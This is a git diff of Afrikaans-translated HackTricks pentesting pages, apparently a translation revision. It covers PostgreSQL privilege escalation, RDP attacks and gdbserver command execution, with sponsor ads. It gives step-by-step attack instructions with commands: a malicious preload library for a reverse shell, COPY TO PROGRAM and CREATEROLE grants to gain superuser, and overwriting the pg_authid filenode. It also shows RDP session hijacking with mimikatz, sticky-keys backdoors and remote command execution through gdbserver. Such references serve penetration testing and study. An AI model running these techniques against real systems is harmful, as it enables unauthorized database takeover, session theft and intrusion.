3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries`-waarde in, bv. `session_preload_libraries = 'payload.so'`
2. Sluit die `/tmp/`-gids in die `dynamic_library_path`-waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'`
3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries`-waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'`
4. Kontroleer die hoof PostgreSQL-weergawe via die `SELECT version()`-navraag
5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-dev-pakket Voorbeeldkode:
@ -556,7 +560,7 @@ Kompilering van die kode:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Laai die skadelike `postgresql.conf`, geskep in stappe 2-3, af en oorskryf die oorspronklike een
7. Laai die `payload.so` van stap 5 na die `/tmp`-gids op
7. Laai die `payload.so` van stap 5 na die `/tmp`-gids oor
8. Herlaai die bedienerskonfigurasie deur die bediener te herlaai of die `SELECT pg_reload_conf()`-navraag te roep
9. By die volgende DB-verbinding sal jy die omgekeerde dopverbinding ontvang.
## **Postgres Privesc**
@ -565,9 +569,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Toekenning**
Volgens die [**dokumente**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **superuser** is nie._
Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **supergebruiker** is nie._
Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie superuser is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer:
Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie supergebruikers is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -585,7 +589,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc na SUPERUSER
Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings om kode uit te voer** ingesamel het, kan jy hierdie toestemmings misbruik om jou **`SUPERUSER`** rol te verkry:
Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings om kode uit te voer** ingesamel het, kan jy hierdie toestemmings misbruik om jou die **`SUPERUSER`** rol te gee:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
@ -609,7 +613,7 @@ Wanneer jy probeer om **'n ander gebruiker eienaar van 'n tabel te maak**, behoo
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarskapstoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat bevele kan uitvoer omdat dit die toestemmings van die eienaar gebruik.
Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarskapstoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat opdragte kan uitvoer omdat dit die toestemmings van die eienaar gebruik.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -619,7 +623,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
1. Begin deur 'n nuwe tabel te skep.
2. Voeg 'n paar irrelevante inhoud by die tabel in om data vir die indeksfunksie te voorsien.
3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoeringslading bevat, wat ongemagtigde bevele moontlik maak om uitgevoer te word.
3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoeringslading bevat, wat ongemagtigde bevele moontlik maak.
4. WYSIG die eienaar van die tabel na "cloudsqladmin," wat GCP se supergebruikersrol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
5. Voer 'n ANALYSE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," te skakel. Gevolglik word die skadelike indeksfunksie met die regte van "cloudsqladmin" geroep, wat die uitvoering van die voorheen ongemagtigde skul bevel moontlik maak.
@ -650,7 +654,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Plaaslike Aanteken
Sommige verkeerd geconfigureerde postgresql-instanties mag dalk enige plaaslike gebruiker toelaat om in te teken, dit is moontlik om plaaslik vanaf 127.0.0.1 in te teken deur die **`dblink`-funksie**:
Sommige verkeerd geconfigureerde postgresql-instanties mag enige plaaslike gebruiker toelaat om in te teken, dit is moontlik om plaaslik in te teken vanaf 127.0.0.1 met behulp van die **`dblink`-funksie**:
```sql
\du * # Get Users
\l # Get databases
@ -669,7 +673,7 @@ CREATE EXTENSION dblink;
```
{% endhint %}
As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker nie toegelaat word om vanaf 'n eksterne IP-adres in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer:
As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker is nie toegelaat om vanaf 'n eksterne IP in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@ -683,7 +687,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Aangepaste gedefinieerde funksie met** SECURITY DEFINER
[**In hierdie skrywe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), kon pentesters binne 'n postgres-instansie wat deur IBM voorsien is, privesc uitvoer omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
[**In hierdie skryfstuk**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), was pentesters in staat om privesc binne 'n postgres-instansie wat deur IBM voorsien word, omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -704,7 +708,7 @@ PERFORM dblink_disconnect();
</code></pre>
Soos [**verduidelik in die dokumente**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwesbaar vir SQL-injeksie is** of as dit enige **bevoorregte aksies met parameters wat deur die aanvaller beheer word**, uitvoer, kan dit misbruik word om **voorregte binne postgres te eskaleer**.
Soos [**verduidelik in die dokumentasie**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwesbaar vir SQL-injeksie is** of enige **bevoorregte aksies met parameters wat deur die aanvaller beheer word**, kan dit misbruik word om **voorregte binne postgres te eskaleer**.
In lyn 4 van die vorige kode kan jy sien dat die funksie die **SECURITY DEFINER**-vlag het.
```sql
@ -712,7 +716,7 @@ CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
En voer dan **bevele** uit:
En voer dan **bevele uit**:
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
@ -731,18 +735,18 @@ En voer dan **bevele** uit:
Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-stellings uitgevoer kan word.
{% endhint %}
As jy **PostgreSQL-bedienerlêers kan lees en skryf**, kan jy **'n supergebruiker word** deur die oorskryf van die PostgreSQL op skyf filenode, wat verband hou met die interne `pg_authid`-tabel.
As jy **PostgreSQL-bedienerlêers kan lees en skryf**, kan jy **'n supergebruiker word** deur die PostgreSQL op skyf filenode te oorskryf wat verband hou met die interne `pg_authid`-tabel.
Lees meer oor **hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Die aanvalstappe is:
1. Verkryg die PostgreSQL-data-gids
2. Verkryg 'n relatiewe pad na die filenode, wat verband hou met die `pg_authid`-tabel
2. Verkryg 'n relatiewe pad na die filenode wat verband hou met die `pg_authid`-tabel
3. Laai die filenode af deur die `lo_*`-funksies
4. Kry die datatipe wat verband hou met die `pg_authid`-tabel
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die filenode te [redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); stel alle `rol*` booleaanse vlae op 1 vir volle regte.
6. Laai die geredigeerde filenode weer op via die `lo_*`-funksies en oorskryf die oorspronklike lêer op die skyf
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die filenode te wysig; stel alle `rol*` booleaanse vlae op 1 vir volle regte.
6. Laai die gewysigde filenode weer op via die `lo_*`-funksies en oorskryf die oorspronklike lêer op die skyf
7. _(Opsioneel)_ Maak die in-memory tabel-cache skoon deur 'n duur SQL-navraag uit te voer
8. Jy behoort nou die regte van 'n volle superadmin te hê.
@ -756,7 +760,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### logging
Binne die _**postgresql.conf**_ lêer kan jy postgresql logs aktiveer deur te verander:
Binne die _**postgresql.conf**_ lêer kan jy postgresql-logboeke aktiveer deur te verander:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -769,7 +773,7 @@ Dan, **herlaai die diens**.
### pgadmin
[pgadmin](https://www.pgadmin.org) is 'n administrasie en ontwikkelingsplatform vir PostgreSQL.\
[pgadmin](https://www.pgadmin.org) is 'n administrasie- en ontwikkelingsplatform vir PostgreSQL.\
Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind\
Jy kan hulle ontsluit deur die _**decrypt**_ funksie binne die skriffie te gebruik: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
@ -780,6 +784,28 @@ string pgadmin4.db
```
### pg\_hba
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, kliënt IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, kliënt adres, aangevraagde databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, klient IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, klient adres, aangevraagde databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
Die beskikbare wagwoord-gebaseerde verifikasiemetodes in pg\_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-versleutel, of teks in duidelike taal. Dit is belangrik om op te let dat die crypt-metode nie gebruik kan word met wagwoorde wat versleutel is in pg\_authid nie.
Die beskikbare wagwoord-gebaseerde verifikasiemetodes in pg\_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-geënkripteer, of duidelike teks. Dit is belangrik om op te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg\_authid geënkripteer is.
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -8,21 +8,21 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
## Basiese Inligting
Ontwikkel deur Microsoft, is die **Remote Desktop Protocol** (**RDP**) ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP**-klient sagteware deur die gebruiker gebruik, en gelyktydig moet die afgeleë rekenaar **RDP**-bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om die afgeleë beheer en toegang tot 'n verre rekenaar se lessenaaromgewing te hê, wat essensieel sy koppelvlak na die gebruiker se plaaslike toestel bring.
Ontwikkel deur Microsoft, is die **Remote Desktop Protocol** (**RDP**) ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP**-klient sagteware deur die gebruiker gebruik, en gelyktydig moet die afgeleë rekenaar **RDP**-bedienersagteware bedryf. Hierdie opstelling maak die naadlose beheer en toegang tot 'n verre rekenaar se lessenaar-omgewing moontlik, wat in wese sy koppelvlak na die gebruiker se plaaslike toestel bring.
**Verstekpoort:** 3389
```
@ -67,9 +67,9 @@ rdp\_check.py van impacket laat jou toe om te kontroleer of sekere geloofsbriewe
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
@ -77,7 +77,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### Sessiediefstal
Met **STELSEL-toestemmings** kan jy enige **geopende RDP-sessie deur enige gebruiker** toegang sonder om die wagwoord van die eienaar te weet.
Met **SYSTEM-toestemmings** kan jy toegang verkry tot enige **geopende RDP-sessie deur enige gebruiker** sonder om die wagwoord van die eienaar te ken.
**Kry geopende sessies:**
```
@ -91,7 +91,7 @@ Nou sal jy binne die gekose RDP-sessie wees en jy sal 'n gebruiker moet naboots
**Belangrik**: Wanneer jy 'n aktiewe RDP-sessie betree, sal jy die gebruiker wat dit gebruik het, aftrap.
Jy kan wagwoorde kry deur die proses te dump, maar hierdie metode is baie vinniger en laat jou toe om met die virtuele lessenaars van die gebruiker te interakteer (wagwoorde in notepad sonder om op die skyf gestoor te word, ander RDP-sessies wat op ander rekenaars oop is...)
Jy kan wagwoorde kry deur dit te dump, maar hierdie metode is baie vinniger en stel jou in staat om met die virtuele lessenaars van die gebruiker te interaksieer (wagwoorde in notepad sonder om op die skyf gestoor te word, ander RDP-sessies wat op ander rekenaars oop is...)
#### **Mimikatz**
@ -100,9 +100,9 @@ Jy kan ook mimikatz gebruik om dit te doen:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Plakkerige toetse & Utilman
### Plakkerige sleutels & Utilman
Deur hierdie tegniek te kombineer met **plakkerige toetse** of **utilman sal jy in staat wees om enige administratiewe CMD en enige RDP-sessie enige tyd te benader**
Deur hierdie tegniek te kombineer met **plakkerige sleutels** of **utilman sal jy in staat wees om enige tyd toegang te verkry tot 'n administratiewe CMD en enige RDP-sessie**
Jy kan soek na RDP's wat reeds met een van hierdie tegnieke agterdeur is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
@ -114,7 +114,7 @@ Indien iemand vanaf 'n ander domein of met **betere voorregte inlog via RDP** na
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Voeg Gebruiker by RDP-groep
### Gebruiker by RDP-groep voeg
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** is 'n post-exploitation raamwerk geskep in Powershell, primêr ontwerp om die **Shadow** aanval op Microsoft Windows-rekenaars outomaties te maak. Hierdie kwesbaarheid (gelys as 'n kenmerk deur Microsoft) maak dit moontlik vir 'n afgeleë aanvaller om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, deur gebruik te maak van gereedskap wat inherent is aan die bedryfstelsel self.
**AutoRDPwn** is 'n post-exploitation raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows-rekenaars outomaties te maak. Hierdie kwesbaarheid (gelys as 'n kenmerk deur Microsoft) maak dit moontlik vir 'n afgeleë aanvaller om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, deur gebruik te maak van gereedskap wat inherent is aan die bedryfstelsel self.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
* Beheer knipbord op 'n geoutomatiseerde manier vanaf die opdraglyn
* Skep 'n SOCKS-proksi vanaf die klient wat netwerk kommunikasie na die teiken deur RDP kanaliseer
* Voer willekeurige SHELL- en PowerShell-opdragte op die teiken uit sonder om lêers te oplaai
* Laai lêers op en aflaai na/van die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
* Laai lêers op en af vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
@ -148,9 +148,9 @@ Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en deurdringende toetse**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
@ -162,8 +162,8 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
</details>

View file

@ -8,21 +8,21 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat klap, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
## **Basiese Inligting**
**gdbserver** is 'n gereedskap wat die foutopsporing van programme op afstand moontlik maak. Dit hardloop langs die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling maak dit vir die **GNU Foutopspoorger** moontlik om vanaf 'n ander masjien, die "gasheer," waar die bronkode en 'n binêre kopie van die foutopgespoorde program gestoor word, te verbind. Die verbinding tussen **gdbserver** en die foutopspoorger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporingsopstelling moontlik maak.
**gdbserver** is 'n gereedskap wat die foutopsporing van programme op afstand moontlik maak. Dit hardloop langs die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling maak dit vir die **GNU-foutopspoorger** moontlik om vanaf 'n ander masjien, die "gasheer," waar die bronkode en 'n binêre kopie van die foutopgespoorde program gestoor word, te koppel. Die verbinding tussen **gdbserver** en die foutopspoorger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporingsopstelling moontlik maak.
Jy kan 'n **gdbserver laat luister op enige poort** en op hierdie oomblik **is nmap nie in staat om die diens te herken nie**.
@ -55,7 +55,7 @@ run
```
### Voer willekeurige bevele uit
Daar is 'n ander manier om die debugger **willekeurige bevele uit te voer deur 'n** [**python aangepaste skrip geneem van hier**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
Daar is 'n ander manier om **die debugger willekeurige bevele te laat uitvoer deur 'n** [**python aangepaste skrip geneem van hier**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
@ -195,9 +195,9 @@ RemoteCmd()
```
{% endcode %}
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
